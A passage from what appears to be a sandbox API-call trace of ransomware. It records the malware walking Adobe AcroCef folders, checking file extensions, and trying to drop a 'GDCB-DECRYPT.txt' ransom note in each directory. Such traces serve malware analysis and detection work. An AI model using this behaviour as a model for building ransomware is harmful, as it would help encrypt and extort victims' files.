Data\\Adobe\\AcroCef\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC" [0170.115] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC") returned 154 [0170.115] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0170.115] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.115] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.115] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt" [0170.115] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\GDCB-DECRYPT.txt") returned 168 [0170.115] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.115] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0 [0170.115] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0170.115] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.115] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\\\GDCB-DECRYPT.txt") returned 169 [0170.115] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.116] GetLastError () returned 0x50 [0170.116] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.116] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\") returned 152 [0170.116] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*" [0170.116] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\*", lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 0x5a4c58 [0170.116] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.116] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.117] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.117] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.117] FindNextFileW (in: hFindFile=0x5a4c58, lpFindFileData=0x285e0e8 | out: lpFindFileData=0x285e0e8) returned 1 [0170.117] lstrcmpW (lpString1="DC", lpString2=".") returned 1 [0170.117] lstrcmpW (lpString1="DC", lpString2="..") returned 1 [0170.117] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\", lpString2="DC" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC" [0170.117] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\" [0170.117] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.117] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.117] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.117] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.117] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.117] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.117] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\") returned 155 [0170.117] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*" [0170.117] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*", lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0x5a4dd8 [0170.117] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.117] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.117] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.117] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.117] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.117] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0170.117] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0170.117] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat" [0170.117] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat") returned 162 [0170.117] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 1 [0170.117] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.117] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.117] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt" [0170.118] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\GDCB-DECRYPT.txt") returned 171 [0170.118] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.118] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0 [0170.118] FindClose (in: hFindFile=0x5a4dd8 | out: hFindFile=0x5a4dd8) returned 1 [0170.118] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.118] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\\\GDCB-DECRYPT.txt") returned 172 [0170.118] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.119] GetLastError () returned 0x50 [0170.119] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.119] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\") returned 155 [0170.119] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*" [0170.119] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\*", lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0x5a4dd8 [0170.119] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.119] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.119] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.119] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.119] FindNextFileW (in: hFindFile=0x5a4dd8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0170.119] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0170.119] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0170.120] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\", lpString2="Acrobat" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat" [0170.120] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\" [0170.120] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.120] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.120] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.120] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.120] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.120] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.120] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\") returned 163 [0170.120] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*" [0170.120] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*", lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0x5a4e18 [0170.120] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.120] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.121] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.121] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.121] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.121] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0170.121] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0170.121] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache" [0170.121] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache") returned 168 [0170.121] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.121] lstrcmpW (lpString1="Cookie", lpString2=".") returned 1 [0170.121] lstrcmpW (lpString1="Cookie", lpString2="..") returned 1 [0170.121] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cookie" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie" [0170.121] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie") returned 169 [0170.121] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0170.121] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.121] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.121] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt" [0170.121] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\GDCB-DECRYPT.txt") returned 179 [0170.121] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.121] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0 [0170.121] FindClose (in: hFindFile=0x5a4e18 | out: hFindFile=0x5a4e18) returned 1 [0170.121] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.121] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\\\GDCB-DECRYPT.txt") returned 180 [0170.121] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.122] GetLastError () returned 0x50 [0170.122] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.122] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\") returned 163 [0170.122] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*" [0170.123] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\*", lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 0x5a4e18 [0170.123] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.123] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.123] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.123] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.123] FindNextFileW (in: hFindFile=0x5a4e18, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0170.123] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0170.123] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0170.123] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache" [0170.123] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\" [0170.123] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x8c0000 [0170.123] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.123] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.123] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.123] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.123] VirtualFree (lpAddress=0x8c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0170.123] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\") returned 169 [0170.123] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*" [0170.123] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\*", lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 0x5a4e98 [0170.123] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.123] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.124] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.124] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.124] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.124] lstrcmpW (lpString1="Cache", lpString2=".") returned 1 [0170.124] lstrcmpW (lpString1="Cache", lpString2="..") returned 1 [0170.124] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Cache" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache" [0170.124] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache") returned 174 [0170.124] FindNextFileW (in: hFindFile=0x5a4e98, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0170.124] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.124] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.124] lstrcatW (in: lpString1="C:\\Documents and 